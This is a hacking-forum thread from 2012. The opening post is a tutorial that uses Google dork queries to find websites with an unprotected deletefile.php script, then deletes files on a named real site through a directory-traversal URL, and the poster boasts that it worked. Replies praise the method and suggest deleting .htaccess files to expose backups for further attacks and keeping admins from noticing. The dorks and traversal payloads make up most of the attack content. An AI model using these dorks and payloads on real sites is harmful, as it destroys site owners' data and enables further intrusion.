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bckslsh - September 26, 2012, 2:21 pm

Step 1 - Find a poorly programmed website, most likely created by a 12 year old elementary-school-dropout, using dorks such as:

Code inurl:deletefile.php
inurl:delete.php?filename=
inurl:deletefile.php?filename=
inurl:deletefile.php?file=

etc.

Step 2 - I have found my website that I am going to hax like a pro.

Code <http://www.doculand.net/htdocs/fileupload/deletefile.php?filename=>

Step 3 - Basic directory transversal. Find the file that you want to delete, I'll use - Code <http://www.doculand.net/services/index.html>

It works right now.

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cough <http://www.doculand.net/htdocs/fileupload/deletefile.php?filename=../../services/index.html>
cough

And now it doesn't.

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How magical.

Zixem - September 26, 2012, 2:23 pm

Cool dork, pretty violent and wicked :> but nice thinking.

Catzbow - September 26, 2012, 2:31 pm

Amazing , very nice and interesting , thanks.

soeasy - September 26, 2012, 3:01 pm

Great tutorial Dan.I haven't seen anything like this before.?

Zhen. - September 26, 2012, 3:42 pm

Same as LFD, different function. Useful tutorial nevertheless.
Keep it up.

X Makube - September 26, 2012, 3:48 pm

Yeah really really nice tutorial...

?asp3r - September 26, 2012, 3:58 pm

Then you decide to use the deletefile.php to delete the deletefile.php

Define© - September 26, 2012, 4:12 pm

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?asp3r - September 26, 2012, 4:15 pm

(Sep 26, 2012 04:12 PM)wkdlewy Wrote: [\[CITE\]](#) This exploit is pretty pointless, I don't see how deleting files will get you anywhere.

If you set out to piss of as many site hosters as possible, then this gets you there. otherwise it not so great "IMHO"

No??????? - September 26, 2012, 5:04 pm

(Sep 26, 2012 04:12 PM)wkdlewy Wrote: [\[CITE\]](#) This exploit is pretty pointless, I don't see how deleting files will get you anywhere.

This exploit could have a few uses (besides laughs) such as deleting the .htaccess (and potentially the index file) file from a site so that you can see other files that will be valuable to an attack. Eg. Unencrypted backups (remember that time Blackshades got fucking raped?).

Nice thinking by the way, definitely something I have seen little of.

T0ucaNSaM - August 12, 2013, 11:27 am

you forgot to delete your tracks :)

Gee4rce - August 12, 2013, 12:46 pm

(Sep 26, 2012 05:04 PM)No?????? Wrote: [\[CITE\]](#) This exploit could have a few uses (besides laughs) such as deleting the .htaccess (and potentially the index file) file from a site so that you can see other files that will be valuable to an attack.

In fact you are totally right with this, the .htaccess is a very good example! But this "way of h4x" still is only usefull for getting

straight "in and back out" again, as in reality a missing index file would quickly draw attention to the Admin... this would allow no longer-term hack. (I think thats what wkdlewy meant to say)...

But while writing this, i thought of the next possibilitie... what if the Admin doesn't see the connection between deletefile.php and his missing index.php? ?

Greetings, Gee.